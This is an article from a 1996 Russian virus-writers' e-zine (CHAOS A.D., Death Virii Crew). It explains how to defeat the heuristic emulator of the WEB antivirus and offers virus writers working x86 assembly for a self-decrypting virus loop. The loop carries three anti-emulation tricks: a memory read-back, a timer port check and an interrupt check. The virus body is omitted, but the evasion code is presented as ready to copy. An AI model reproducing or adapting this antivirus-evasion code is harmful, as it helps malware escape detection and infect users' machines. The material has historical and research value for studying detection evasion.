[Death Virii Crew] Presents
CHAOS A.D. Vmag, Issue 1, May 1996				file 003



            3 простейших способа поставить эвристику WEB'a в тупик.

                                                        by Reminder

  Отчего-то, незнаю отчего, автор WEB'a возомнил себя спасителем человечества.
  Что-то там пишет, какой-то антивирус, не знаю. Да. Но вот подумалось мне,
  что масса вирмаков страдает над этим подобием к антивирусу в надежде, что не
  будет ловить он своей тупой эвристикой их произведения. И решил я FAQ такой
  небольшой написать, с единственным вопросом : " Как обойти WEB ?".\
  Ответ будет  -  очень и очень просто. И небольшой комментарий к ответу:
  Что же это такое - эти эвристики ? Это, скажем прямо пока еще детство.
  К примеру WEB - сделал его автор подобие реальной машины и реальной работы
  весьма и весьма коряво. Ну вот машина, вот код под нее - он исполняется.
  Но если вдруг код будет каким то странным, к примеру к портам обращаться - 
  как WEB будет на это реагировать ?  - пока что никак. А если скроем мы в 
  этих дебрях значение расшифровщика - что тогда ? Альбом. Точнее - облом.
  Не расшифрует Web нас и все тут. А ежели мы код расшифровщика будем брать
  из какой то памяти, и приблизительно не относящейся к вирусу ? Тоже облом.
  Что это там прерывание возвращают после своей работы ? Нам понятно, а WEB'у
  нет - воспользуемся этим, и напишем небольшой код обхода.
  Ниже, представлен небольшая часть из моего вируса, где описан расшифровщик
  и три приемчика для WEB'а - любой на выбор, можно и все сразу.
		 Пользуйтесь на здоровье. 

     	

.model tiny
.code
org 100h
start:
call $+3
pop bp
sub bp,3

mov bx,0
kod equ $-2
lea di,begin-100h
mov cx,len_codir/2
asd:
xor cs:[bp+di],bx
inc di

;========================= memory ======================
push ds
mov ax,60h
mov ds,ax
mov word ptr ds:[7],bx
mov bx,1234h
mov bx,word ptr ds:[7] ; web не выполняет, а реально да 
pop ds
nop

;=========================== port =======================
in ax,42h
mov si,ax
in ax,42h
cmp ax,si
jnz ccc
mov bx,1234h    ; web выполняет, реально нет 
ccc:

;========================= interrupt =====================
mov ax,0BA07h
int 21h
or al,al
jz nonweb
xor bx,ax        ; web выполняет, реально нет
nonweb:


inc di
db 81h,0c3h,0,0 ; add bx,0
dob equ $-2
loop asd

begin:

 .....   [ тело вируса ]



     

                                                 (c) by Reminder [DVC]
